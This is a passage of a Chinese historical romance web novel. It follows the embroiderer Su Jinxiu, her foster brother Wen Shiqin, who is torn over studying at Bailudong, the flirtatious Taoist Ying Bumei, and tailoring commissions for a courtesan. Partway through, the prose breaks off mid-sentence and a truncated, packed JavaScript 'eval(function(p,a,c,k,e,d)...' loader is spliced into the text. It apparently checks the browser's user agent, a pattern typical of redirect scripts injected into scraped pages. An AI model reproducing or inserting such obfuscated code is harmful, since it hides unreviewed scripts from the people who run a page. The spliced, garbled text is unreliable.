“登徒子!” 应不寐指着她狼狈的样子大笑,却在她弯腰捡铜钱时眼里多了些探究的暗芒。 “罢了罢了,”应不寐直起身理了理衣袍,恢复那副玩世不恭的样子,“谷酿就谷酿,等你忙完……等你下班就去。” 他倒是会融会贯通。 待到暮色漫过绣巷尾的谷酿摊,油布篷下就挤了七八张矮桌,摇着蒲扇的街坊围着坐,粗瓷碗碰得叮当作响,混着谷酿的粮香和谈笑声漫出来,热热闹闹的。 苏锦绣熟门熟路往里领,应不寐跟在后面,目光扫过桌边沾着酒渍的木凳,手里的折扇无意识地摇了两下,带着点不自在的疏离。 “愣着做什么?”苏锦绣早瞥见他那点嫌弃的样子,转身向老板要了半坛高粱苞谷酿,随后径直往角落那张矮桌一坐,指了指对面的小板凳,“坐呀,还得请您?” 应不寐这才收了折扇挪过去,却没立刻坐下,只垂眼瞥了眼凳面,像只矜贵的大孔雀,在掂量这板凳配不配他坐。 苏锦绣看得分明,端起老板递来的空碗往桌上一放,笑道:“别摆谱,这儿的谷酿,比你道观里的冷茶香多了。” 泥封一启,混着粮食醇香的酒气便漫了开。 应不寐擦了擦凳子坐下,捏着酒碗打量时眉头微蹙,但也喝得干脆,一碗下肚无半分拖泥带水,哪有半分出家人的清修样子。 苏锦绣托着腮看他,忍不住开口:“应不寐,你当真是道士?” 她瞧得分明,这人除了初见时被官兵追得狼狈,这几日来店里骚扰,哪回不是通身气派?又与华韵阁老板娘是交心旧识,这般底气,怎么看也不似寻常道士。 应不寐闻言顿了顿,“巧娘以为,道士该是什么样子?”说罢又自顾自倒了一碗。 “自然是穿道袍,念经文,不食人间烟火。”苏锦绣顺着话头答。 应不寐嗤笑一声:“穿道袍、念经文?”语气里添了点冷意,“这世道,你说的那种真道士,早被扒了皮喂狗了。”他瞥了眼巷里往来的平民,“巧娘日日见的是这些人,喝的是这种谷酿,倒还信那些样子货?” 他正经不过两秒,又转了轻佻语气:“不过嘛,巧娘要是喜欢正经出家人,我明日便去道观剃度,如何?” 苏锦绣正端着碗尝那谷酿,听见这话,脑子里忽就浮出他光头的模样,一个没忍住,刚抿进嘴里的酒“噗”地喷了出来。 初来时的嫌隙很快就散了,半坛谷酿也见了底。 苏锦绣见应不寐朝自己身后笑了笑,好奇转头看,是对街卖花的丫头红着脸跑开了,他展开扇子自恋道:“便是贫道真剃了度,恐怕也是这世间最出挑的光头客。” 两人起身往外走,苏锦绣斜乜他:“是世间最花的开屏孔雀吧。” 应不寐悄无声息凑过来,鬓角几乎擦着她耳廓:“孔雀开屏是为求偶,巧娘这话……是在暗示我?” 先前就因这两人一俊朗一灵秀,惹得邻桌偷瞧了好几眼,此刻见他们低语模样亲昵,更是有人借着端碗的动作,悄悄抬眼瞟过来。 苏锦绣用肘尖狠狠把他顶开,闷头就往前走,应不寐吃痛揉了揉胸口,追上不依不饶。 “巧娘若真要我开屏……今夜三更……我在城外破庙候着便是。” 语气暧昧,笑意轻浮。 这话彻底惹恼了苏锦绣,当她是什么人?再 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苏锦绣心里门儿清,白鹿洞书院本是不收学费的,冯婶说的供养不起的花销,大多是往返的路费,从汴京到江州,山高路远,车马住宿哪样不要钱?可她更明白,书院里多是权贵家的孩子,阿钦若真去了,哪能真的只揣着路费就够? 那些公子哥手里的书,不是坊间寻常刻本,多是精校的善本,一本就抵得上家里半月用度;笔墨也得是宣城的纸、湖州的笔,寻常粗墨粗纸拿出来,难免要被比下去;逢着同窗凑钱聚宴、或是换季添件体面的衣裳,哪一样不要花钱?这些看不见的花销,桩桩件件,都比学费更压人。 冯婶已经进了家门,苏锦绣还立在原地,心中天人交战。 她想着要多绣些活计,多攒些银钱,好送阿钦接着读书,可一念头转过来,又怕他真读出名堂、入了仕途,将来重蹈覆辙,成了史书上那遗臭万年的奸臣,到时自己这番苦心反倒成了祸根。 可她也知道,闻时钦总是天未亮就着微光背书,夜里对月练武,还有去学堂接他时,先生拉着她夸“时钦是将帅宰辅之才,万不能耽误”,又不忍断了他的青云路。 苏锦绣神思恍惚间,一道修长身影悠悠然从旁跟了上来。 应不寐早将方才那些话听了个真切,见苏锦绣柳眉紧蹙,神色忧虑,下意识抬手,想要替她抚平眉间的愁绪。 苏锦绣冷不丁被他这举动惊到,往后退开一步,眼中闪过警惕。 应不寐挑了挑眉,饶有兴味地问道:“很缺钱用?” 苏锦绣撇过头去,语气冷淡:“与你何干?莫要多管闲事。” 应不寐却不在意她的冷脸,慢悠悠道:“本道是穷得只剩钱了。若你有难处,找本道借便是。” 哪会有这般天上掉馅饼的好事?苏锦绣在心里暗啐一声,只觉此人狡猾如同千年老狐,她强压下心底那丝被勾起的期待,神色平静,淡淡反问:“平白借钱,你有何条件?不妨直说。” “倒也简单,只需你陪我去见一个人。”应不寐双手抱胸,姿态闲适。 苏锦绣闻言,心中冷笑不已,心想着谁会被你这说辞哄骗,也就哄哄那些涉世未深的小姑娘罢了。她懒得再与他周旋,转身便走,同时摆了摆手,抛下一句:“多谢好意,只是这钱,我自己自会想法子去赚,不劳您费心。” 应不寐望着她决然离去的背影,眼中非但没有恼怒,反倒涌起几分别样的兴味。 5. 白鹿洞 苏锦绣推开小院木门时,闻时钦正扬斧劈柴。 少年背影青松般挺拔,风神秀异,宽肩窄腰,短褐袖口挽到肘弯,露出线条紧实的小臂,劈柴的动作利落又稳,连呼吸都带着少年人特有的蓬勃。 他劈得认真卖力,没察觉有人进来,劈完便拢着碎柴往厨房走。灶膛已燃起火,橘光映着他蹲身添柴的侧影。 “阿钦。”苏锦绣走近,扶着灶沿开口。 少年应声抬头,眼里还带着劈柴时的专注。 苏锦绣低头望他,轻声问:“你想去白鹿洞读书吗?” 话音刚落,一个念头突然撞进脑海,若不让他去,不让他入仕,会不会永远是此刻模样,纯粹温实? 所以没等他答,苏锦绣又低了声,带着试探:“只是家里……或许供不起。” 闻时钦在灶台前添柴的手猛地一顿,火星子溅在手背上,烫出几个红痕也没察觉。灶膛的火光在他脸上投下明明暗暗的阴影,高挺的鼻梁衬得侧脸线条愈发利落,那双总含着亮的眼睛,此刻像蒙了层灰雾,连光都淡了些。 “我知道。” 学堂先生前几日就说书院的田租被官绅吞了,下个月就要遣散学生,他知晓家里难处,就没同苏锦绣提过。 “不去也好。”他抬眼冲苏锦绣笑,显出几分少年人的清亮。 “我去跟武场教头说,让他留我在那儿。管吃管住还能学功夫,等我练出真本事,就去给镖局押镖,走一趟镖,够咱们吃两三个月的。” 苏锦绣没料到他会这么豁达地接受,还做起了打算,仿佛去武场卖力气、走镖吃苦,比读书做官还要好。 闻时钦又往灶膛添了块柴,火光映着他的笑:“以后我去外面挣力气钱,阿姐在家绣活,咱们就这样在一起一辈子,平平安安的就好。” “在一起一辈子”这话落进耳里,总透着点说不出的怪,但苏锦绣还是轻声应了句:“好。” 她还没来得及细想,闻时钦已经猛地站了起来。苏锦绣被他吓了一跳,下意识往后退了半步。 他听完她那句“好”,像被喂了蜜的小兽,眼里亮得惊人,往前凑了两步,也不管手上还沾着柴灰,一把攥住她的手腕往怀里带,但力道很轻,仿佛捧着件易碎的琉璃盏。 闻时钦用下巴轻轻蹭着她的发顶,声音里的笑意几乎要溢出来:“阿姐说话算话。” 苏锦绣的发顶被他蹭得散乱,鼻尖也泛起细密的痒意。她抬手想推,手腕却被他顺势攥住,按在自己心口。隔着粗布,能清晰地感受到他心跳如擂鼓。 一声比一声急,一声比一声响。 他声音里裹着笑意:“武场的李教头说我是块练武的料,还说我的太祖长拳学得快,往后谁也不能在我面前欺负你。” 闻时钦说起以后,眸中光比灶火还亮,话里满是盼头。 苏锦绣静静地在他臂弯里听着,鬼使神差地没再推。 灶膛里的火慢慢弱下去,他也慢慢安静下来,只是手还轻拍她的背,像哄婴孩似的,声音低得像叹息: “阿姐,我们永远这样好不好?” 苏锦绣忽然感觉到他在发抖,那颤意藏在臂弯里,细得揪心。灶台余温尚在,应该不是冷,那是怕吗?他在怕什么呢? 他应了她的试探,但她心头莫名的愧疚盘桓不去。 哪里是供不起?她在华韵阁已摸透了门路,再咬牙勤快些、吃些苦,未必凑不出他去书院的花销。可她就因为自己的偏见,因为书上那只言片语,就断了他读书的路。这样是不是太自私,太可耻了? 这日苏锦绣依着巷口的老槐树候他放课,不多时便见闻时钦从那头走来,眉眼轻快,似有什么喜事。 她迎上去替他拂了拂肩头落的槐絮,笑问:“今日怎的这般欢实?莫不是先生夸你课业了?” 闻时钦只摇着头神秘兮兮道:“阿姐且猜,眼下还不能说。” 苏锦绣见他这副小儿情态,也不追问,想起前几日白鹿洞之事,刚要开口再和他商量,忽闻身侧一阵环佩叮当,两个穿绣罗裙的女儿家叽叽喳喳走过,手里捧着枚水红璎珞,精致无比。 苏锦绣定睛一瞧,那璎珞的纹样、坠子,分明是自己前几日在华韵阁赶制的样式,当时安尺素说要多备几枚,她就连夜绣了五六枚送去。 只听那穿粉裙的姑娘咋舌:“你这璎珞,可是玉笙姑娘前儿登台时,坠在琵琶弦上的那款?” 另一个穿绿裙的忙点头,又带些得意:“可不是!华韵阁早卖空了,我托了掌柜才留了这枚。” 苏锦绣心下疑惑,抬头问闻时钦:“玉笙是谁?” 闻时钦抿了抿唇,低声道:“醉春坊的头牌。”顿了顿,又补了一句,“就是汴河边那处勾栏瓦舍。” 这话刚落,苏锦绣眼里霎时亮了,唇角勾起轻快的笑,心里的算盘打得噼啪响。 可满腹生意经算罢,她忽又眯起眼,睨着闻时钦道:“你怎么知道她是醉春坊头牌?难不成你常去?” 闻时钦被她这一问,脸“腾”地红到耳尖,手里的书都差点没拿稳,慌忙摆着手辩解:“不、不是的阿姐,我没有去过!我只是听同窗、听那帮朋友偶然提过几句!” “真的!阿姐你信我!” 瞧着少年急得语无伦次、额角都冒了细汗的模样,苏锦绣再也忍不住,“噗嗤”一声笑出了声:“瞧你急的,我又没说不信你。” 再问及白鹿洞的事,他只顾左右而言他,苏锦绣也猜不透他的想法。 不知不觉,苏锦绣又在华韵阁绣了一周的活,日子匀净平淡。 想着阿钦正长身体,她每日归家总稍些东西,有时是酱得油亮的肋条肉,有时是是一兜子鸡蛋,偶尔遇着卖花糕的,也会买两个。闻时钦却总说阿姐比他还矮,该阿姐补,推搡几回,最后好东西多半还是落进苏锦绣碗里。 今日午后,安尺素正对着妆奁挑拣螺钿,见苏锦绣来送帕子,便指了指桌上的的提盒:“巧娘,我这边走不开,你替我跑一趟,把这些绣品送到醉春坊的玉笙姑娘那儿可好?” 醉春坊,阿钦说的汴河边上最热闹的勾栏,楼里的姑娘们弹得一手好琵琶,唱的曲子能绕着梁木打三圈。上次听他提罢,她早好奇得不行,今儿可算逮着由头了。 出了华韵阁,日头正暖,沿着汴河往东南走到醉春坊,未及近前,先闻得香风拂面。风里隐隐飘来丝竹之声,琵琶叮咚如珠落玉盘,还夹着几句软糯的唱腔。 坊前往来皆是锦衣华服的公子哥儿,或是摇着折扇的文人墨客,门首立着几个梳着双鬟、眉眼含笑的丫鬟,见人来便软语相迎,声音娇脆如黄莺出谷。 苏锦绣刚跨进醉春坊的门槛,就被个短衫束腰的龟奴拦住,那龟奴上下打量她手里的描金提盒,眉梢挑着几分警惕:“姑娘是哪个府上的?可有熟客引荐?” “并非来寻乐的。”苏锦绣忙欠了欠身,“是华韵阁的安老板,托我来给玉笙姑娘送绣品。” 龟奴听完,转头扬声唤了句“小翠!”。不多时,一个穿葱绿衫子的丫鬟快步过来,听龟奴吩咐把她往院里领,才走到通往后院的月洞门,前头忽然传来喧闹声,听着像是有酒客闹事。小翠皱了皱眉,指着斜前方:“还请姑娘自个儿去吧,前面就是玉笙楼。” 说罢便急慌慌跑开了。 苏锦绣摸到玉笙楼,上了二楼还没叩门,里头先飘出嗔骂:“这叫什么事?留些不合身的衣裳是存心膈应我?凝珠那丫头尾巴都翘到天上去了,也敢抢我的衣裳!” 紧接着是丫鬟低柔的劝声:“姑娘息怒,您也知晓凝珠近来傍着吏部侍郎家的三郎,那可是官家子弟,如今在醉春坊风头正盛,采买的物件自然先紧着她挑……” 那娇声气没消,又恨道,“她也只配得意这几日!”听着似是深吸了口气,“把那件水红绫罗裙取来!” 苏锦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏锦绣便取了剪刀先将腰间多余的绫罗裁去半寸,用锁边绣细细收了缘,针脚密如春蚕丝,腰身立时贴了身形,衬得玉笙腰肢纤纤。 又从妆奁旁取过两尺银红丝带,在胸前斜系成结,丝带末梢用金粉绣线缀了几粒米珠绣,更显精致。裙角处她捡了攒珠络子上的碎珠,用打籽绣钉在裙摆。又在裙面擦了点金粉,浮光跃金,静影沉璧。 最后她取过件鎏金轻纱披肩,斜搭在玉笙肩头,纱角穿过腰间丝带系牢,添了几分飘逸神韵。 末了玉笙挪到镜前,一眼瞧得怔了,方才还松垮无形的衣裳,此刻竟像量身定做一般,腰间珠络、襟上碎绣都贴得恰到好处,都是京中从没见过的式样。这般搭配衬得她眼波更柔,肤色愈莹,添了几分娇俏,又隐有贵气浮着,便是宫中贵人的衣饰,怕也未必及得上这般精致妥帖。 “姐姐生得水灵,手艺竟也这般好!”玉笙笑得眼尾弯成了月牙,旁边丫鬟也凑过来:“姑娘这一身,今晚定能压过凝珠去!” 苏锦绣指尖拂过衣襟上的银珠,轻声道:“若是这衣料上再添些绣样,譬如缠枝莲或是小簇山茶,衬着姑娘的身段,该更出挑些。”她指着架上那几件松垮的衣裳,“这几身料子都是上等的绫罗,我带回去按姑娘的尺寸细细改改?” 玉笙的眼睛亮了,她往日从没想过搭配竟有这般讲究,此刻瞧着苏锦绣的眼神满是信赖,忙应道:“信!自然信!”说着转身就往妆台跑,从螺钿妆盒里拿了两锭银子作报酬,又让丫鬟把那几身衣裳包进包袱,亲自递到她手里。待苏锦绣背上包袱要走时,玉笙还送了两步,直道:“姐姐改好派人来吱声就行,我亲自去取!” 苏锦绣帮着改衣裳,不光是为了那点银子,还有个更大的打算。 只顾一路心中盘算,却没留意到不远处的茶坊檐下,一双熟悉的眼睛正落在她身上,眸光沉沉的,不知在想些什么。 6. 长命锁 苏锦绣扛着包袱拐进巷口,足尖踉跄间,忽闻对院有清声:“巧娘,当心些。” 抬头就见对院的易如栩站在院中,温润如玉,青衿沾着松烟墨痕,手中狼毫犹悬,石案上萱草图半成,墨色未干。他见苏锦绣左支右绌,忙掷笔趋前,指刚触包袱角,便听她轻呼:“差点忘了!如栩哥,前儿用你那幅寒江独钓绣的帕子,钱我收回来了!” 宋代如今绣艺仍以传统花鸟纹样为主,绣画绣书尚属小众新趣,只在文人圈偶见。 前几日苏锦绣见易如栩画寒江独钓图,忽生巧思,以虚实针摹山色、滚针勾水纹,再用切针绣上他题的柳体字,将画意凝于丝线。绣成送坊后,竟被致仕御史以三倍价购得,赞其“比笔墨多柔润,雅致过寻常绣品”。此后缙绅士大夫争相来订,或绣小楷孝经,或摹山水扇面,皆因这新巧绣法,最能显文人品味。 苏锦绣腾出一只手往袖袋里掏,身子歪如风中弱柳,包袱眼看要滑落地,易如栩伸臂稳托,低声道:“莫急,你先站稳。” “找到啦!”苏锦绣终于从袖底摸出个沉甸甸的纸包,递过去时还带点喘,“你数数,平分后这是四十文,绣坊说你这画绣出来雅致,主顾多赏五文,我一并添给你。” 易如栩接过纸包却没拆,只望着她温声道:“巧娘,多谢你总这般照顾我,日后定涌泉以报。” “哪有照顾!”苏锦绣摆手,包袱还在易如栩手里,她倒自在了,叉着腰夸,“是你画得好!那水纹用的是米家山水的意趣,题的字又是柳体的清劲,那些缙绅见了便争订,我这绣活沾你雅韵,才敢往高里定价呢!” 她越说越畅,连易如栩画里的远山黛色、渔翁斗笠上的竹纹都赞了遍,直说得易如栩耳尖红透,连颈后都染了层薄绯,更觉得她是知音,低声道:“巧娘过誉了……”说着便提起包袱,“我送你到门口。” 苏锦绣跨进屋内,便将包袱从易如栩手中接过,笑着道:“多谢如栩哥,进来歇歇?”易如栩却立在阶下摆手:“不了巧娘,女儿家屋内,我不便入内,这就回了。”说罢便要转身。 苏锦绣收拾着包袱,正欲应声,忽闻院外闻时钦的声音传来,带着几分说不清的意味: “易兄既已送到门口,怎不进来讨杯茶喝?” 屋内的苏锦绣没瞧见这情形,只隔着门喊:“阿钦说得是!如栩哥进来罢,昨儿安老板送了雨前龙井,正该一起尝尝!” “正是,请吧,如——栩——哥。”闻时钦伸手虚引。 易如栩瞧着他莫名阴沉的脸色,哪里敢挪步,连连摆手:“不了不了,我案上那幅《萱草图》还没勾完,再耽搁墨就干了,先回了!”匆匆离开时衫角扫过院外的竹丛,留下一阵轻响。 苏锦绣握着门帘探出头,只瞧见易如栩的背影拐进对院,不由纳闷地嘀咕:“咦?怎么说走就走了?这茶还没尝呢……” 再看向闻时钦,见他脸上带着几分无辜的茫然,仿佛也不知易如栩为何匆匆离去,只淡淡道:“许是他案上画稿挂心,实在耽搁不得吧?” 苏锦绣从柜中取了粗瓷茶盏,抓了撮安老板送的龙井投进去,拎起水壶注了热水。水汽袅袅间,她望着杯中舒展的茶叶,忽然自嘲地笑了笑:“汴京大户人家的姑娘,都讲究点茶、斗茶,又是碾茶又是调膏,连茶沫子都要转出花样来,雅致得紧。” 她指尖摩挲着粗瓷杯沿:“可我就只会这样简单一泡,连个像样的茶器都没有,倒是浪费这么好的茶叶了。”说着将茶盏递到闻时钦面前,带着点赧然:“别嫌弃阿姐粗陋。” 闻时钦接过茶盏,抬眼时眼底带着浅笑:“哪来的嫌弃?这般沸水冲茶,最能留住茶叶本味,倒比那些花里胡哨的手法更显真趣。再说,阿姐泡的茶,便是粗瓷盛着,也比别处的金盏玉杯更合我意。” 苏锦绣被他夸得眉眼弯弯,转身走到桌前,将那包从醉春坊取回的绣衣摊开,指尖捏着衣料边角轻轻一抻。瞬时,绫罗流光便在案上铺开,是她平日里绝不会穿的艳丽华贵样式。闻时钦端着茶盏的手顿在半空,眼底的笑意渐渐淡了。 他忽想起昨日她听完玉笙名头后满脸的光彩,还有今日在茶寮外瞧见她背着包袱从醉春坊里出来,那时他未及细想。可方才她自嘲不及大户小姐雅致,此刻又对着这些艳俗的华服笑得分外开怀,一个念头突然窜进心里:难道她羡慕醉春坊的繁华,竟也想往那样的地方去? 这想法一冒头,他心下顿时乱了,指尖无意识攥紧了茶盏,温热的茶水晃出几滴,落在手背上,竟也没察觉。 苏锦绣全然不知闻时钦的异样,捏着条绣满海棠的罗裙转身,对着铜镜比划,低声嘀咕:“玉笙的腰细,比我的尺寸得再收三寸。”指尖还在裙上量着针脚,腕子忽被人猛地攥住。 裙子落地,她惊得扭头,撞进温时钦眼底翻涌的急色,那眼神灼热得吓人,她茫然道:“怎么了?” 闻时钦攥着她手腕的手微微发颤,方才见她对着艳裙比划,脑中竟不受控地闪过她穿这衣饰站在鸣玉坊台中央,被满场目光打量的画面,烧得他五脏俱焚。 他张了张嘴,话到喉头又咽回去,只低头从怀中摸出个青布锦囊,倒出枚小巧的银质长命锁,锁身錾着两枝交缠的萱草,叶片蜷曲似含露,正是前几日她同兰涉湘逛集市时,盯着看了许久的那枚,首饰铺老板说要二两银子,她拉着兰涉湘说了句“打劫啊?”就走了。 “这是……”苏锦绣眼睛倏地亮了,忘了手腕的疼,“你买的?给我的?你哪来的钱买这个?” 闻时钦没说话,只松开她的手腕,小心翼翼捏着锁链,绕到她颈后轻轻扣上。银锁贴着她领口的肌肤,带着点他掌心的余温,他垂着眼,声音低得像怕惊碎什么:“戴着,平安。” 苏锦绣指尖抚过萱草錾纹,嘴角弯了弯,却又忽然想起前世那书上的记载“苏巧娘于桃李年华早逝”“闻时钦自刎于绣巷故居,年仅二十”,瞬间又僵住。 短命人赠长命锁,不胜唏嘘。 苏锦绣甩去那些翻涌的思绪,又顺着之前的话头问:“快说,你哪来的钱买这个?” 闻时钦垂着眼,指腹蹭过她颈间:“武场跟人比划,赢了有赏钱。” “比武?”苏锦绣心头猛地一滞,伸手就去掀他的衣领,“有没有受伤?让我看看!” 闻时钦忙攥住她的手,力道却不重:“没伤,就是些小磕碰。” 苏锦绣哪里肯信,目光扫过他脖颈,果然见衣领下隐着片淡青瘀痕。喉间瞬间发紧,他拼着命挣来的钱,竟全给她买了这银锁,哪怕在旁人看来不值当。可她呢?只听信书里的只言片语,就硬劝他弃了笔墨去投武场,生生断了他的未来。 她嘴唇颤着,半句话也说不出。 一滴温热的泪砸在手背上,但不是她的。 苏锦绣惊得抬眼,见闻时钦眼眶通红,泪水砸在她脸上,竟已泣不成声,攥着她的手按在自己脸上,像个受了委屈的孩子,借她的掌心擦着泪。 “阿姐,如果实在缺钱,我还能去卖血,去码头扛大包,做最苦的活也能挣钱,你别去醉春坊……别做伶人,求你了……” 苏锦绣懵了好一会才反应过来他定是误会了。 她忙给闻时钦抹泪:“阿钦,那些裙子是醉春坊订的绣活,你别瞎想,快别哭了……” 闻时钦微僵,一双星眸哭红了眼尾,睫上悬着泪珠,倒衬得鼻梁愈挺,薄唇紧抿时,更显玉面清俊。 “……真的?” 还没待苏锦绣回答,巷口突然炸响谢鸿影咋咋呼呼的高声:“闻时钦!我爹说能让你去白鹿洞旁听!” 苏锦绣心口一慌,忙推开他,她自己也说不清怕什么。 闻时钦被推得像抽了骨头,踉跄着撞在绣案边,后腰磕得他倒抽冷气,却没出声。 谢鸿影已旋风似的冲进来,将手里的烫金帖子拍在院内石桌上,朝屋内喊:“我求我爹托了好几层关系!我能带伴读,食宿全免还领月钱!” 谢鸿影被家里惯得骄纵但本性不坏,自上次被苏锦绣教训后,就和闻时钦做起了朋友,常来蹭饭。 墨香混着金粉气飘过来时,苏锦绣和闻时钦已走到院心。闻时钦暗 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他越道越离谱,苏锦绣赶紧伸手捂住他还在乱说的嘴,声音发急:“阿钦!” 闻时钦僵了僵,她温热的掌心贴着唇瓣,还带着绣线的淡淡松香。谢鸿影倒吸冷气的声音就在耳边,他不用看也能想,对方此刻定是满脸震惊:一个向来眉眼带傲的少年,正跪在地上攥着姐姐的裙角,还哭着说要一辈子守着给她暖脚,多荒唐。 “这样好的机会,你还是去吧。”苏锦绣的声音轻轻落下。 闻时钦猛地摇头,指节更紧地攥住她的裙边,“阿姐,是不是想把我赶走?” “我不是这个意思,你先起来。谢家公子还在这,你这样像什么样子?” 闻时钦像钉在地上似的不肯起,苏锦绣加重力道想扯他起来,他反倒顺势往前,双臂紧紧抱住她的腰,额头轻轻蹭着,湿热的呼吸透过薄薄夏布裙摆,烫得苏锦绣小腹一阵发麻。 谢鸿影在旁看得目瞪口呆,手指着他半天说不出话:“闻、闻时钦,你……男女授受不亲啊!” 闻时钦猛地偏头,通红的眼睛盯着谢鸿影,语气里满是戾气:“我同我阿姐说话,关你什么事?”转头又将脸贴回她裙摆上,手指捏住她腰侧的衣带,语气可怜:“阿姐,你是不是嫌弃我了?是不是觉得我留在绣巷给你丢人?” “我没有,我何时嫌过你?”苏锦绣慌忙解释。 闻时钦知道,苏锦绣见不得他掉泪,只要他红了眼,她纵有再多气性也会软下来,什么都依他。这般拿捏她的软肋,是卑鄙,是无赖,可他别无他法。 祈求能在绣巷平安厮守,祈求天地放过一双苦命人,有错吗? “别哭了,你先……”苏锦绣手足无措,推也不是拉也不是。 “我知道我没用,不能让你住华舍、穿绫罗。可我能劈柴挑水,能给你暖被窝……” 他越说越委屈,真假难辨的哭腔裹着气音,最后干脆把脸埋进她衣裳里,一抽一抽地哭起来。 谢鸿影在旁边看得脸色青一阵白一阵,终于忍不住咳嗽两声,慌忙找补:“那、那个,巧娘,我突然想起家里母鸡要下蛋了,我先走了哈!”话音未落,人已几乎是落荒而逃。 院门口的脚步声渐远,苏锦绣无奈地叹口气。 闻时钦仍跪在地,膝头染尘也不顾,双手环着她腰如铁箍,脸埋在她腰腹间,哭声已低哑如咽。 苏锦绣方才硬挣无用,便缓了手,轻轻捏他耳垂,那是他素来怕痒处。 闻时钦果然微僵,力道也松了些,苏锦绣便用指腹轻轻帮他拭泪,他一哭,她心里也不好受,轻声哄道:“你何苦来?刚刚撕了谢小郎君的好意,日后受了苦后悔了怎么办?不如现在去了,纵是后果不尽人意,也免了遗憾,阿钦,你说呢?” 回应她的,只有无尽的沉默。 苏锦绣缓缓蹲下身,声音放得更柔,耐着性子轻声哄劝,可他始终抿着薄唇,连眼睫都未抬一下,只以沉默相抗。 到最后,苏锦绣也觉出几分疲惫,叹了口气。 7.百两金 午后日脚西斜,金辉穿牖而入,自东壁漫过地衣,淌至西窗下,在地面上织就粼粼光纹,如碎金泻地。 忽有微风穿帘,吹动裙上未完工的珠络,叮咚轻响。 苏锦绣坐于光霭之中,荆钗挽髻,额前几缕青丝微扬,专注绣改手中华裙。她黛眉轻颦,眸如远山含雾,杏眼半敛,睫羽纤长,脸颊被斜照的日光一映,透出玉般的温润光泽。 指间银针穿引,莹白珍珠便随她手腕轻转,似落星垂露,悬于裙幅。她身侧围着三两乌木衣架,其上悬着自醉春坊带来的衣裙,或烟霞色蹙金绣、或月白色暗纹罗、或湖蓝色织锦缎,皆是搭配新颖,华彩灼灼。 光影流转间,素手翻飞,竟似九天仙娥临凡,在人间织就云锦。她蹙眉时的专注、垂眸时的静美,合着满室暖阳,教这寻常人家的午后,染了几分仙境般的旖旎。 苏锦绣伸腰捶背,笑意轻扬:“总算好了!” 苏锦绣在现代时为了讨生活改行做过服装设计师,那段经历让她深谙现代服饰的剪裁审美与面料巧思,也成了如今她改良服饰的独特底气。 她将四身襦裙妥帖收进青布包袱,脚步轻快往醉春坊去。想起昨日与闻时钦的小冲突,她心底明镜似的,他分明还念着去白鹿洞求学。这几身衣裳交了差,少说能得十两银子,还有一计若是能成,凑够他半年的花销定是稳的。 不多时便到了醉春坊,檐角挂着鎏金灯彩,门首扎着彩绸牌楼,往来小厮提着食盒奔走,隐约有笙箫琵琶声从楼里飘出,正是一派舞榭歌台,喧嚣市井。 她寻玉笙不着,问了丫鬟才知,玉笙正与凝珠在鸣玉院台上斗琵琶,拼的是看客打赏。 于是苏锦绣寻至鸣玉院,拾级上了二楼,倚着雕花栏杆往下瞧。 花台锦簇,两位佳人犹抱琵琶半遮面,左边是一派风情的玉笙,右边……该是凝珠了?衣着素净得像株带露白莲,拨弦时眉尖微蹙,愁绪眼波往台下一扫,恰好撞上位翩翩公子,那人身着蜀锦圆领袍,腰系白玉蹀躞带,一看便是官家子弟。他当即笑了,对小厮道:“赏!”几两黄金“当啷”落进银盘。 台下小厮高声唱喏,凝珠的赏金眼看着要压过玉笙。 末了正要定局,忽有个漫不经心的声音从楼下雅座响起:“一百两黄金,赏玉笙。” 苏锦绣心头一跳,循声望去,角落雅座里那人斜倚案前,漫不经心地摇着竹骨扇。 束玉冠,乌发垂,肩背如松如竹,玄青锦袍泛着低调华光。 风流作态玉人骨,比台上盛景更教人移不开眼——不是应不寐是谁? 苏锦绣暗自攥紧包袱,百两黄金竟这般轻描淡写掷出,定然不简单,他到底是何方人物?怎会无端与自己几番周旋?都说怀璧其罪,可苏锦绣想了一圈,自己身上还真没什么值得觊觎的地方,但能肯定他的蓄意接近定是藏着什么算计,打定主意往后要离他远些。 玉笙得了重赏,笑得花枝乱颤,纤纤玉指一挑,便向应不寐抛去个媚眼,应不寐抬手端起酒盏,向台上虚虚回敬了一下。 苏锦绣目光仍胶着在那背影上,应不寐骨扇轻顿,似是感知到了什么,然后转头,目光精准扫来,四目猝然相撞。 应不寐眉梢微挑,唇角噙着疏懒笑意,惯是眠花宿柳的风流相,眼波只淡淡一掠,竟教苏锦绣屏息刹那。 她惊觉失神,忙别开眼,落荒而走。 刚近玉笙房前,忽闻斜对过厢房里传出女子私语,苏锦绣脚步不由一顿。 “应道长今儿可真阔气,百两黄金说掷就掷。” “这算什么?上月城西赌坊,也是这般一掷千金,就为看坊主夫人弹曲。”另一人语调带了点促狭,“这浪荡子本就是风月场里的常客,最会撩拨人心。” “那也得有资本不是?生得那般俊朗,出手又大方,这醉春坊里,哪个女子能逃得过他的眼波?” 苏锦绣听着,攥紧了包袱带,心底离他远些的念头更甚。 在房里等了会,玉笙便摇着羽扇进来,满面春光,边走边与丫鬟笑叹:“应道长今日可真是给足了我面子,百两黄金掷得干脆,这醉春坊里,也就他有这般气度!”丫鬟忙凑趣奉承,句句都夸应不寐风流阔绰。 苏锦绣只截住话头谈正事,将包袱里的襦裙取出。 玉笙一看便眼亮,烟霞金纹、月白纱波,件件都合她心意,当即爱不释手,爽快递过十两银子作报酬。 苏锦绣趁机和她耳语托付另一件事,玉笙拍着扇子笑:“这有何难?包在我身上!” 苏锦绣谢过,玉笙又叹:“除了安姐姐,正经绣坊的绣娘都嫌我们是勾栏女子,不愿接活,也就你肯用心做。” 苏锦绣闻言轻声道:“若有选择,谁愿入这风月场?可便是来了,凭才情力气挣钱,也比那些啃家底的懒汉强,靠自己本事吃饭,有什么该被鄙夷的?” 玉笙听得眼眶心头皆是一热,更觉与她投契,又再三保证定会办妥她托付的事。 苏锦绣辞别出门,想着玉笙的承诺,心里悬着的一块石头总算落了地。 出门时天色渐沉,醉春坊的勾栏楼阁亮起暧昧红灯,光晕虚虚实实。 苏锦绣辨着昏暗中的楼梯往下走,迎面却撞上个浑身酒气的富态公子,他醉眼迷蒙,抬头见了苏锦绣,忽的睁大眼:“呦,醉春坊何时新来了这般水灵的小娘子?” 